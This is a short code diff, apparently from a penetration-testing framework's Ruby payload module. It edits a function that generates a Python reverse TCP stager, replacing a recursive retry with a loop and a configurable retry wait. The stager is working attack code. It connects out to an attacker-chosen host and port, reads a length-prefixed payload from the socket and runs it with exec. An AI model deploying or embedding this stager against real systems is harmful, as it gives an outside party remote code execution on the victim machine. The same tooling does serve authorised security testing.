@@ -44,24 +44,30 @@ def transport_config(opts={})
44
44
45
45
def generate_reverse_tcp ( opts = { } )
46
46
# Set up the socket
47
- cmd = "import socket,struct\n "
48
- cmd << "import time\n "
49
- cmd << "def connect():\n "
50
- cmd << "\t try:\n "
51
- cmd << "\t \t s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
52
- cmd << "\t \t s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
47
+ cmd = "import socket,struct#{ datastore [ 'StagerRetryWait' ] . to_i > 0 ? ',time' : '' } \n "
48
+ if datastore [ 'StagerRetryWait' ] . blank? # do not retry at all (old style)
49
+ cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
50
+ cmd << "s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
51
+ else
52
+ cmd << "while 1:\n "
53
+ cmd << "\t try:\n "
54
+ cmd << "\t \t s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
55
+ cmd << "\t \t s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
56
+ cmd << "\t \t break\n "
57
+ cmd << "\t except:\n "
58
+ if datastore [ 'StagerRetryWait' ] . to_i <= 0
59
+ cmd << "\t \t pass\n " # retry immediately
60
+ else
61
+ cmd << "\t \t time.sleep(#{ datastore [ 'StagerRetryWait' ] . to_i } )\n " # retry after waiting
62
+ end
63
+ end
53
64
cmd << py_send_uuid if include_send_uuid
54
- cmd << "\t \t l=struct.unpack('>I',s.recv(4))[0]\n "
55
- cmd << "\t \t d=s.recv(l)\n "
56
- cmd << "\t \t while len(d)<l:\n "
57
- cmd << "\t \t \t d+=s.recv(l-len(d))\n "
58
- cmd << "\t \t exec(d,{'s':s})\n "
59
- cmd << "\t except Exception:\n "
60
- cmd << "\t \t \t time.sleep(#{ opts [ :retry_wait ] } )\n "
61
- cmd << "\t \t \t connect()\n "
62
- cmd << "connect()\n "
63
-
64
-
65
+ cmd << "l=struct.unpack('>I',s.recv(4))[0]\n "
66
+ cmd << "d=s.recv(l)\n "
67
+ cmd << "while len(d)<l:\n "
68
+ cmd << "\t d+=s.recv(l-len(d))\n "
69
+ cmd << "exec(d,{'s':s})\n "
70
+
65
71
py_create_exec_stub ( cmd )
66
72
end
67
73
0 commit comments